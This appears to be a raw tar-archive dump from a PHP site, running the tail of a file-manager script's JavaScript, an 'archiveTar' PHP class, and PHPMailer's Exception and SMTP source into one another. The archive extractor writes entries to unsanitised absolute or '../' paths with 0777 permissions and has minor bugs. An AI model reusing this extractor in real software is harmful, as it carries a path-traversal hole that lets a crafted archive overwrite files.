1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> Exception.php 0000644 00000002350 15173701274 0007222 0 ustar 00 <?php /** * PHPMailer Exception class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer exception handler. * * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n"; } } SMTP.php 0000644 00000146404 15173701274 0006060 0 ustar 00 <?php /** * PHPMailer RFC821 SMTP email transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer RFC821 SMTP email transport class. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. * * @author Chris Ryan * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class SMTP { /** * The PHPMailer SMTP version number. * * @var string */ const VERSION = '7.0.0'; /** * SMTP line break constant. * * @var string */ const LE = "\r\n"; /** * The SMTP port to use if one is not specified. * * @var int */ const DEFAULT_PORT = 25; /** * The SMTPs port to use if one is not specified. * * @var int */ const DEFAULT_SECURE_PORT = 465; /** * The maximum line length allowed by RFC 5321 section 4.5.3.1.6, * *excluding* a trailing CRLF break. * * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.6 * * @var int */ const MAX_LINE_LENGTH = 998; /** * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5, * *including* a trailing CRLF line break. * * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.5 * * @var int */ const MAX_REPLY_LENGTH = 512; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show client -> server messages. * * @var int */ const DEBUG_CLIENT = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_SERVER = 2; /** * Debug level to show connection status, client -> server and server -> client messages. * * @var int */ const DEBUG_CONNECTION = 3; /** * Debug level to show all messages. * * @var int */ const DEBUG_LOWLEVEL = 4; /** * Debug output level. * Options: * * self::DEBUG_OFF (`0`) No debug output, default * * self::DEBUG_CLIENT (`1`) Client commands * * self::DEBUG_SERVER (`2`) Client commands and server responses * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages. * * @var int */ public $do_debug = self::DEBUG_OFF; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to use VERP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see https://www.postfix.org/VERP_README.html Info on VERP * * @var bool */ public $do_verp = false; /** * Whether to use SMTPUTF8. * * @see https://www.rfc-editor.org/rfc/rfc6531 * * @var bool */ public $do_smtputf8 = false; /** * The timeout value for connection, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. * * @see https://www.rfc-editor.org/rfc/rfc2821#section-4.5.3.2 * * @var int */ public $Timeout = 300; /** * How long to wait for commands to complete, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timelimit = 300; /** * Patterns to extract an SMTP transaction id from reply to a DATA command. * The first capture group in each regex will be used as the ID. * MS ESMTP returns the message ID, which may not be correct for internal tracking. * * @var string[] */ protected $smtp_transaction_id_patterns = [ 'exim' => '/[\d]{3} OK id=(.*)/', 'sendmail' => '/[\d]{3} 2\.0\.0 (.*) Message/', 'postfix' => '/[\d]{3} 2\.0\.0 Ok: queued as (.*)/', 'Microsoft_ESMTP' => '/[0-9]{3} 2\.[\d]\.0 (.*)@(?:.*) Queued mail for delivery/', 'Amazon_SES' => '/[\d]{3} Ok (.*)/', 'SendGrid' => '/[\d]{3} Ok: queued as (.*)/', 'CampaignMonitor' => '/[\d]{3} 2\.0\.0 OK:([a-zA-Z\d]{48})/', 'Haraka' => '/[\d]{3} Message Queued \((.*)\)/', 'ZoneMTA' => '/[\d]{3} Message queued as (.*)/', 'Mailjet' => '/[\d]{3} OK queued as (.*)/', 'Gsmtp' => '/[\d]{3} 2\.0\.0 OK (.*) - gsmtp/', ]; /** * Allowed SMTP XCLIENT attributes. * Must be allowed by the SMTP server. EHLO response is not checked. * * @see https://www.postfix.org/XCLIENT_README.html * * @var array */ public static $xclient_allowed_attributes = [ 'NAME', 'ADDR', 'PORT', 'PROTO', 'HELO', 'LOGIN', 'DESTADDR', 'DESTPORT' ]; /** * The last transaction ID issued in response to a DATA command, * if one was detected. * * @var string|bool|null */ protected $last_smtp_transaction_id; /** * The socket for the server connection. * * @var ?resource */ protected $smtp_conn; /** * Error information, if any, for the last SMTP command. * * @var array */ protected $error = [ 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '', ]; /** * The reply the server sent to us for HELO. * If null, no HELO string has yet been received. * * @var string|null */ protected $helo_rply; /** * The set of SMTP extensions sent in reply to EHLO command. * Indexes of the array are extension names. * Value at index 'HELO' or 'EHLO' (according to command that was sent) * represents the server name. In case of HELO it is the only element of the array. * Other values can be boolean TRUE or an array containing extension options. * If null, no HELO/EHLO string has yet been received. * * @var array|null */ protected $server_caps; /** * The most recent reply received from the server. * * @var string */ protected $last_reply = ''; /** * Output debugging info via a user-selected method. * * @param string $str Debug string to output * @param int $level The debug level of this message; see DEBUG_* constants * * @see SMTP::$Debugoutput * @see SMTP::$do_debug */ protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { //Remove trailing line breaks potentially added by calls to SMTP::client_send() $this->Debugoutput->debug(rtrim($str, "\r\n")); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $level); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo gmdate('Y-m-d H:i:s'), ' ', htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Connect to an SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return bool */ public function connect($host, $port = null, $timeout = 30, $options = []) { //Clear errors to avoid confusion $this->setError(''); //Make sure we are __not__ connected if ($this->connected()) { //Already connected, generate error $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_PORT; } //Connect to the SMTP server $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=" . (count($options) > 0 ? var_export($options, true) : 'array()'), self::DEBUG_CONNECTION ); $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options); if ($this->smtp_conn === false) { //Error info already set inside `getSMTPConnection()` return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); //Get any announcement $this->last_reply = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); $responseCode = (int)substr($this->last_reply, 0, 3); if ($responseCode === 220) { return true; } //Anything other than a 220 response means something went wrong //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error //https://www.rfc-editor.org/rfc/rfc5321#section-3.1 if ($responseCode === 554) { $this->quit(); } //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down) $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION); $this->close(); return false; } /** * Create connection to the SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return false|resource */ protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = []) { static $streamok; //This is enabled by default since 5.0.0 but some providers disable it //Check this once and cache the result if (null === $streamok) { $streamok = function_exists('stream_socket_client'); } $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); set_error_handler(function () { call_user_func_array([$this, 'errorHandler'], func_get_args()); }); $connection = stream_socket_client( $host . ':' . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); } else { //Fall back to fsockopen which should work in more places, but is missing some features $this->edebug( 'Connection: stream_socket_client not available, falling back to fsockopen', self::DEBUG_CONNECTION ); set_error_handler(function () { call_user_func_array([$this, 'errorHandler'], func_get_args()); }); $connection = fsockopen( $host, $port, $errno, $errstr, $timeout ); } restore_error_handler(); //Verify we connected properly if (!is_resource($connection)) { $this->setError( 'Failed to connect to server', '', (string) $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } //SMTP server can take longer to respond, give longer timeout for first read //Windows does not have support for this timeout function if (strpos(PHP_OS, 'WIN') !== 0) { $max = (int)ini_get('max_execution_time'); //Don't bother if unlimited, or if set_time_limit is disabled if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit($timeout); } stream_set_timeout($connection, $timeout, 0); } return $connection; } /** * Initiate a TLS (encrypted) session. * * @return bool */ public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } //Begin encrypted connection set_error_handler(function () { call_user_func_array([$this, 'errorHandler'], func_get_args()); }); $crypto_ok = stream_socket_enable_crypto( $this->smtp_conn, true, $crypto_method ); restore_error_handler(); return (bool) $crypto_ok; } /** * Perform SMTP authentication. * Must be run after hello(). * * @see hello() * * @param string $username The user name * @param string $password The password * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2) * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication * * @return bool True if successfully authenticated */ public function authenticate( $username, $password, $authtype = null, $OAuth = null ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { //SMTP extensions are available; try to find a proper authentication method if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); //'at this stage' means that auth may be allowed after the stage changes //e.g. after STARTTLS return false; } $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL); $this->edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); //If we have requested a specific auth type, check the server supports it before trying others if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) { $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL); $authtype = null; } if (empty($authtype)) { //If no auth mechanism is specified, attempt to use these, in this order //Try CRAM-MD5 first as it's more secure than the others foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) { if (in_array($method, $this->server_caps['AUTH'], true)) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'], true)) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } //Send encoded username and password if ( //Format from https://www.rfc-editor.org/rfc/rfc4616#section-2 //We skip the first field (it's forgery), so the string starts with a null byte !$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand('Username', base64_encode($username), 334)) { return false; } if (!$this->sendCommand('Password', base64_encode($password), 235)) { return false; } break; case 'CRAM-MD5': //Start authentication if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } //Get the challenge $challenge = base64_decode(substr($this->last_reply, 4)); //Build the response $response = $username . ' ' . $this->hmac($challenge, $password); //send encoded credentials return $this->sendCommand('Username', base64_encode($response), 235); case 'XOAUTH2': //The OAuth instance must be set up prior to requesting auth. if (null === $OAuth) { return false; } $oauth = $OAuth->getOauth64(); /* * An SMTP command line can have a maximum length of 512 bytes, including the command name, * so the base64-encoded OAUTH token has a maximum length of: * 512 - 13 (AUTH XOAUTH2) - 2 (CRLF) = 497 bytes * If the token is longer than that, the command and the token must be sent separately as described in * https://www.rfc-editor.org/rfc/rfc4954#section-4 */ if ($oauth === '') { //Sending an empty auth token is legitimate, but it must be encoded as '=' //to indicate it's not a 2-part command if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 =', 235)) { return false; } } elseif (strlen($oauth) <= 497) { //Authenticate using a token in the initial-response part if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { return false; } } else { //The token is too long, so we need to send it in two parts. //Send the auth command without a token and expect a 334 if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2', 334)) { return false; } //Send the token if (!$this->sendCommand('OAuth TOKEN', $oauth, [235, 334])) { return false; } //If the server answers with 334, send an empty line and wait for a 235 if ( substr($this->last_reply, 0, 3) === '334' && $this->sendCommand('AUTH End', '', 235) ) { return false; } } break; default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } /** * Calculate an MD5 HMAC hash. * Works like hash_hmac('md5', $data, $key) * in case that function is not available. * * @param string $data The data to hash * @param string $key The key to hash with * * @return string */ protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } //The following borrowed from //https://www.php.net/manual/en/function.mhash.php#27225 //RFC 2104 HMAC implementation for php. //Creates an md5 HMAC. //Eliminates the need to install mhash to compute a HMAC //by Lance Rushing $bytelen = 64; //byte length for md5 